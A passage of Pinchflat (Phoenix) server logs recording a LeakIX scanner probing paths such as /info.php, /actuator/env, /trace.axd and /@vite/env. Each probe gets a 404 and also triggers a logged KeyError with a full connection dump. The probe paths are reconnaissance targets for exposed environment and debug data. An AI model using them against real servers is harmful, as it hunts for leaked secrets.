#PID<0.138881.0> running PinchflatWeb.Endpoint (connection #PID<0.138854.0>, stream id 23) terminated Server: pinchflat.ocaff.com:80 (http) Request: GET /info.php ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /info (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138854.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/info.php", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 47878}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.0313e23343e2131313e23373; +https://leakix.net)", "x-forwarded-for" => "159.89.12.166", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "159.89.12.166" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 23, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.138881.0>, params: %{}, path_info: ["info"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.ocaff.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.0313e23343e2131313e23373; +https://leakix.net)"}, {"x-forwarded-for", "159.89.12.166"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "387f7f7a12c7"}, {"x-real-ip", "159.89.12.166"} ], request_path: "/info.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GLXUsqnGGjeVNgMADY_h"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138854.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/info.php", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 47878}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.0313e23343e2131313e23373; +https://leakix.net)", "x-forwarded-for" => "159.89.12.166", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "159.89.12.166" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 23, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /info (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138854.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/info.php", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 47878}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.0313e23343e2131313e23373; +https://leakix.net)", "x-forwarded-for" => "159.89.12.166", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "159.89.12.166" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 23, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.138881.0>, params: %{}, path_info: ["info"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.ocaff.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.0313e23343e2131313e23373; +https://leakix.net)"}, {"x-forwarded-for", "159.89.12.166"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "387f7f7a12c7"}, {"x-real-ip", "159.89.12.166"} ], request_path: "/info.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GLXUs (truncated) 04:51:32.507 [info] GET /.well-known/security.txt 04:51:32.508 [debug] QUERY OK source="settings" db=0.4ms idle=993.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:51:32.509 [debug] QUERY OK source="settings" db=0.3ms idle=993.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:51:32.509 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 04:51:32.510 [error] #PID<0.138882.0> running PinchflatWeb.Endpoint (connection #PID<0.138854.0>, stream id 24) terminated Server: pinchflat.ocaff.com:80 (http) Request: GET /.well-known/security.txt ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.well-known/security (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138854.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.well-known/security.txt", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 47878}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.0313e23343e2131313e23373; +https://leakix.net)", "x-forwarded-for" => "159.89.12.166", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "159.89.12.166" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 24, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.138882.0>, params: %{}, path_info: [".well-known", "security"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.ocaff.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.0313e23343e2131313e23373; +https://leakix.net)"}, {"x-forwarded-for", "159.89.12.166"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "387f7f7a12c7"}, {"x-real-ip", "159.89.12.166"} ], request_path: "/.well-known/security.txt", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GLXUsuUOBWzvNt0ADZAB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138854.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.well-known/security.txt", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 47878}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.0313e23343e2131313e23373; +https://leakix.net)", "x-forwarded-for" => "159.89.12.166", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "159.89.12.166" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 24, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.well-known/security (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138854.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.well-known/security.txt", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 47878}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.0313e23343e2131313e23373; +https://leakix.net)", "x-forwarded-for" => "159.89.12.166", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "159.89.12.166" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 24, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.138882.0>, params: %{}, path_info: [".well-known", "security"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.ocaff.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.0313e23343e2131313e23373; +https://leakix.net)"}, {"x-forwarded-for", "159.89.12.166"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "387f7f7a12c7"}, {"x-real-ip", "159.89.12.166"} ], request_path: "/.well-known/security.txt", resp_body: (truncated) 04:51:33.514 [info] GET /actuator/env 04:51:33.515 [debug] QUERY OK source="settings" db=0.4ms idle=1980.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:51:33.516 [debug] QUERY OK source="settings" db=0.3ms idle=1946.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:51:33.516 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 04:51:33.517 [error] #PID<0.138883.0> running PinchflatWeb.Endpoint (connection #PID<0.138854.0>, stream id 25) terminated Server: pinchflat.ocaff.com:80 (http) Request: GET /actuator/env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /actuator/env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138854.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/actuator/env", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 47878}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.0313e23343e2131313e23373; +https://leakix.net)", "x-forwarded-for" => "159.89.12.166", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "159.89.12.166" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 25, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.138883.0>, params: %{}, path_info: ["actuator", "env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.ocaff.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.0313e23343e2131313e23373; +https://leakix.net)"}, {"x-forwarded-for", "159.89.12.166"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "387f7f7a12c7"}, {"x-real-ip", "159.89.12.166"} ], request_path: "/actuator/env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GLXUsyEW-x4ULpIADZAh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138854.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/actuator/env", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 47878}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.0313e23343e2131313e23373; +https://leakix.net)", "x-forwarded-for" => "159.89.12.166", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "159.89.12.166" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 25, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /actuator/env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138854.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/actuator/env", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 47878}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.0313e23343e2131313e23373; +https://leakix.net)", "x-forwarded-for" => "159.89.12.166", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "159.89.12.166" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 25, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.138883.0>, params: %{}, path_info: ["actuator", "env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.ocaff.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.0313e23343e2131313e23373; +https://leakix.net)"}, {"x-forwarded-for", "159.89.12.166"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "387f7f7a12c7"}, {"x-real-ip", "159.89.12.166"} ], request_path: "/actuator/env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, p (truncated) 04:51:34.515 [info] GET /trace.axd 04:51:34.516 [debug] QUERY OK source="settings" db=0.4ms idle=1000.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:51:34.517 [debug] QUERY OK source="settings" db=0.3ms idle=1000.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:51:34.517 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 04:51:34.518 [error] #PID<0.138884.0> running PinchflatWeb.Endpoint (connection #PID<0.138854.0>, stream id 26) terminated Server: pinchflat.ocaff.com:80 (http) Request: GET /trace.axd ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /trace (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138854.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/trace.axd", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 47878}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.0313e23343e2131313e23373; +https://leakix.net)", "x-forwarded-for" => "159.89.12.166", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "159.89.12.166" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 26, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.138884.0>, params: %{}, path_info: ["trace"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.ocaff.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.0313e23343e2131313e23373; +https://leakix.net)"}, {"x-forwarded-for", "159.89.12.166"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "387f7f7a12c7"}, {"x-real-ip", "159.89.12.166"} ], request_path: "/trace.axd", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GLXUs1zDi1JpF_cADZBB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138854.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/trace.axd", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 47878}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.0313e23343e2131313e23373; +https://leakix.net)", "x-forwarded-for" => "159.89.12.166", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "159.89.12.166" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 26, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /trace (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138854.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/trace.axd", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 47878}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.0313e23343e2131313e23373; +https://leakix.net)", "x-forwarded-for" => "159.89.12.166", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "159.89.12.166" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 26, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.138884.0>, params: %{}, path_info: ["trace"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.ocaff.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.0313e23343e2131313e23373; +https://leakix.net)"}, {"x-forwarded-for", "159.89.12.166"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "387f7f7a12c7"}, {"x-real-ip", "159.89.12.166"} ], request_path: "/trace.axd", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-i (truncated) 04:51:35.518 [info] GET /@vite/env 04:51:35.519 [debug] QUERY OK source="settings" db=0.4ms idle=1984.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:51:35.520 [debug] QUERY OK source="settings" db=0.4ms idle=1948.7ms SELECT s0."id", 